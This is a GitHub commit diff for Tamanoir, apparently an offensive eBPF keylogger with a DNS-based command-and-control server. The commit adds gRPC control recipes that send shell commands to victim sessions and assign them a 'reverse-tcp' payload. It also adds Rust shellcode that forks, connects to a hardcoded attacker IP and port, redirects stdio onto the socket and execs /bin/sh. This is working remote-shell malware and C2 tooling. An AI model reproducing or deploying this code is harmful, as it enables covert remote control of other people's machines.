Skip to content

Commit

Permalink
Merge pull request #24 from pythops/grpc
Browse files Browse the repository at this point in the history
Grpc
  • Loading branch information
adgaultier authored Jan 4, 2025
2 parents e144102 + 66f0962 commit 9fc68df
Show file tree
Hide file tree
Showing 40 changed files with 1,427 additions and 340 deletions.
352 changes: 348 additions & 4 deletions Cargo.lock

Large diffs are not rendered by default.

21 changes: 15 additions & 6 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,12 @@
[workspace]
resolver = "2"
members = ["tamanoir", "tamanoir-ebpf", "tamanoir-c2","tamanoir-common"]
members = [
"tamanoir",
"tamanoir-ebpf",
"tamanoir-c2",
"tamanoir-common",
"tamanoir-tui",
]
default-members = ["tamanoir"]

[workspace.dependencies]
Expand All @@ -12,13 +18,16 @@ anyhow = { version = "1", default-features = false }
env_logger = { version = "0.11", default-features = false }
libc = { version = "0.2", default-features = false }
log = { version = "0.4", default-features = false }
tokio = { version = "1", default-features = false }

tokio = { version = "1", features = ["full"] }
clap = { version = "4", default-features = true, features = [
"derive",
"cargo",
] }

[profile.dev]
panic = "abort"
debug = true # This is the default, but you can specify it explicitly
opt-level = 0
debug = true # This is the default, but you can specify it explicitly
opt-level = 0

[profile.release]
panic = "abort"
panic = "unwind"
48 changes: 27 additions & 21 deletions Justfile
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ _default:


_build-ebpf:
cd ebpf && cargo build --release
cd tamanoir-ebpf && cargo build --release


# Build Tamanoir
Expand All @@ -17,28 +17,34 @@ build-c2:
cargo build -p tamanoir-c2 --release

# Run Tamanoir
run proxy_ip hijack_ip="8.8.8.8" layout="1" log_level="info":
run proxy_ip="192.168.1.15" hijack_ip="8.8.8.8" layout="1" log_level="info":
RUST_LOG={{log_level}} sudo -E target/release/tamanoir --proxy-ip {{proxy_ip}} --hijack-ip {{hijack_ip}} --layout {{layout}}

# Run the C&C server
c2 rce="hello" target_arch="x86_64" dns_ip="8.8.8.8" port="53" payload_len="8" log_level="info" :
RUST_LOG={{log_level}} sudo -E ./target/release/tamanoir-c2 --port {{port}} \
--dns-ip {{dns_ip}} \
--payload-len {{payload_len}} \
--rce {{rce}} \
--target-arch {{target_arch}}




_build-rce payload="hello":
cd rce && just build {{payload}} && cargo build --release

_run-rce:
cd rce && sudo -E target/release/tamanoir-rce

_build_reverse_shell proxy_ip="192.168.1.15" rce_port="8082":
IP=$(just _atoi {{proxy_ip}}) PORT={{rce_port}} just _build-rce reverse-tcp
# Talk to the C&C server
c2_list_rce c2ip="192.168.1.15":
grpcurl -plaintext -proto tamanoir-common/proto/tamanoir/tamanoir.proto -d '{}' '{{c2ip}}:50051' tamanoir.Rce/ListAvailableRce
c2_list_services c2ip="192.168.1.15":
grpcurl -plaintext -proto tamanoir-common/proto/tamanoir/tamanoir.proto '{{c2ip}}:50051' list
c2_watch c2ip="192.168.1.15":
grpcurl -plaintext -proto tamanoir-common/proto/tamanoir/tamanoir.proto -d '{}' '{{c2ip}}:50051' tamanoir.Session/WatchSessions
c2_remote_shell_watch c2ip="192.168.1.15":
grpcurl -plaintext -proto tamanoir-common/proto/tamanoir/tamanoir.proto -d '{}' '{{c2ip}}:50051' tamanoir.RemoteShell/WatchShellStdOut
c2_remote_shell_cmd c2ip="192.168.1.15" cmd="ls -l":
grpcurl -plaintext -proto tamanoir-common/proto/tamanoir/tamanoir.proto -d '{"message":"{{cmd}}"}' '{{c2ip}}:50051' tamanoir.RemoteShell/SendShellStdIn
c2_set_rce c2ip="192.168.1.15" session_ip="192.168.1.180" rce="reverse-tcp":
grpcurl -plaintext -proto tamanoir-common/proto/tamanoir/tamanoir.proto -d '{"ip":"{{session_ip}}","target_arch":"x86_64","rce":"{{rce}}"}' '{{c2ip}}:50051' tamanoir.Rce/SetSessionRce
c2_delete_rce c2ip="192.168.1.15" session_ip="192.168.1.180":
grpcurl -plaintext -proto tamanoir-common/proto/tamanoir/tamanoir.proto -d '{"ip":"{{session_ip}}" }' '{{c2ip}}:50051' tamanoir.Rce/DeleteSessionRce

#run c2 server
c2_run:
sudo systemctl stop systemd-resolved && RUST_LOG=debug sudo -E ./target/release/tamanoir-c2 start

#rce build (run on c2 server)
rce_build_reverse_tcp :
./target/release/tamanoir-c2 rce build -c ./assets/payloads/reverse-tcp -b "IP=192.168.1.15 PORT=8082"
rce_build_hello :
./target/release/tamanoir-c2 rce build -c ./assets/payloads/hello


_atoi ipv4_address:
Expand Down
Binary file removed assets/examples/bins/hello_x86_64.bin
Binary file not shown.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ const IP: &str = core::env!("IP");

#[cfg(target_arch = "x86_64")]
mod consts {
pub const SYS_FORK: usize = 57;
pub const SYS_DUP3: usize = 292;
pub const SYS_SOCKET: usize = 41;
pub const SYS_CONNECT: usize = 42;
Expand Down Expand Up @@ -126,6 +127,7 @@ pub unsafe fn exit(ret: usize) -> ! {
options(noreturn),
)
}

pub fn ip_str_to_beu32(ipv4_str: &str) -> u32 {
let ip_it = ipv4_str.split('.');
let mut r = [0u8; 4];
Expand All @@ -138,40 +140,71 @@ pub fn ip_str_to_beu32(ipv4_str: &str) -> u32 {
res |= r[3] as u32;
res.to_be()
}
#[no_mangle]
fn _start() -> ! {
let shell: &str = "/bin/sh\x00";
let argv: [*const &str; 2] = [&shell, core::ptr::null()];
let ip: u32 = ip_str_to_beu32(IP);
let socket_addr = sockaddr_in {
sin_family: AF_INET as u16,
sin_port: PORT.parse::<u16>().unwrap().to_be(),
sin_addr: in_addr { s_addr: ip },
sin_zero: [0; 8],
};
let socket_addr_len = core::mem::size_of::<sockaddr_in>();

pub enum ForkResult {
Parent(u32), // Child's PID
Child,
}

pub fn fork() -> Result<ForkResult, i32> {
let mut result: isize;

unsafe {
let socket_fd = syscall3(SYS_SOCKET, AF_INET, SOCK_STREAM, IPPROTO_IP);
syscall3(
SYS_CONNECT,
socket_fd,
&socket_addr as *const sockaddr_in as usize,
socket_addr_len as usize,
asm!(
"syscall", // Use the syscall instruction
in("rax") SYS_FORK, // Syscall number for fork
lateout("rax") result, // Result returned in RAX
options(nostack, nomem), // No additional stack/memory clobbers
);
}

sys_dup3(socket_fd, STDIN, 0);
sys_dup3(socket_fd, STDOUT, 0);
sys_dup3(socket_fd, STDERR, 0);
// Interpret the result
if result < 0 {
Err(result as i32) // Syscall returned an error
} else if result == 0 {
Ok(ForkResult::Child) // We're in the child process
} else {
Ok(ForkResult::Parent(result as u32)) // We're in the parent
}
}

syscall3(
SYS_EXECVE,
shell.as_ptr() as usize,
argv.as_ptr() as usize,
0,
);
exit(0)
};
#[no_mangle]
fn _start() -> ! {
match fork() {
Ok(ForkResult::Parent(child_pid)) => unsafe { exit(0) },
Ok(ForkResult::Child) => {
let shell: &str = "/bin/sh\x00";
let argv: [*const &str; 2] = [&shell, core::ptr::null()];
let ip: u32 = ip_str_to_beu32(IP);
let socket_addr = sockaddr_in {
sin_family: AF_INET as u16,
sin_port: PORT.parse::<u16>().unwrap().to_be(),
sin_addr: in_addr { s_addr: ip },
sin_zero: [0; 8],
};
let socket_addr_len = core::mem::size_of::<sockaddr_in>();
unsafe {
let socket_fd = syscall3(SYS_SOCKET, AF_INET, SOCK_STREAM, IPPROTO_IP);
syscall3(
SYS_CONNECT,
socket_fd,
&socket_addr as *const sockaddr_in as usize,
socket_addr_len as usize,
);
sys_dup3(socket_fd, STDIN, 0);
sys_dup3(socket_fd, STDOUT, 0);
sys_dup3(socket_fd, STDERR, 0);
syscall3(
SYS_EXECVE,
shell.as_ptr() as usize,
argv.as_ptr() as usize,
0,
);
exit(0)
}
}
Err(errno) => loop {},
}
}
#[panic_handler]
fn panic(_: &core::panic::PanicInfo) -> ! {
Expand Down
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
4 changes: 4 additions & 0 deletions tamanoir-c2/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -11,9 +11,13 @@ clap = { version = "4", default-features = true, features = [
anyhow = "1"
serde = { version = "1", features = ["derive"] }
tokio = { version = "1", features = ["full"] }
tokio-stream = "0.1"
async-stream ="0.3.6"

serde_yaml = "0.9"
toml = "0.8"
tempfile = "3"
home = "0.5.11"
env_logger = { version = "0.11", default-features = false }
log = { version = "0.4", default-features = false }
tamanoir-common = { path = "../tamanoir-common" }
Expand Down
22 changes: 6 additions & 16 deletions tamanoir-c2/src/cli.rs
Original file line number Diff line number Diff line change
Expand Up @@ -17,11 +17,13 @@ pub enum Command {
#[command(about = "Start the dns proxy / c2 server")]
Start {
#[clap(short, long, default_value = "53")]
port: u16,
dns_port: u16,
#[clap(long, default_value = "8.8.8.8")]
dns_ip: Ipv4Addr,
dns_forward_ip: Ipv4Addr,
#[clap(long, default_value = "8")]
payload_len: usize,
dns_payload_len: usize,
#[clap(short, long, default_value = "50051")]
grpc_port: u16,
},
}

Expand All @@ -47,20 +49,8 @@ pub enum RceCommand {
build_vars: String,
#[clap(short, long)]
crate_path: String,
#[clap(short, long)]
out_dir: String,
},
#[command(about = "Build shell code payload for all available aritectures")]
BuildAll {
#[clap(short, long, default_value = "docker")]
engine: Engine,
#[clap(short, long, default_value = "")]
build_vars: String,
#[clap(short, long)]
crate_path: String,
#[clap(short, long)]
out_dir: String,
},

#[command(about = "Test a shellcode against current architecture")]
Test {
#[clap(short, long)]
Expand Down
Loading

0 comments on commit 9fc68df

Please sign in to comment.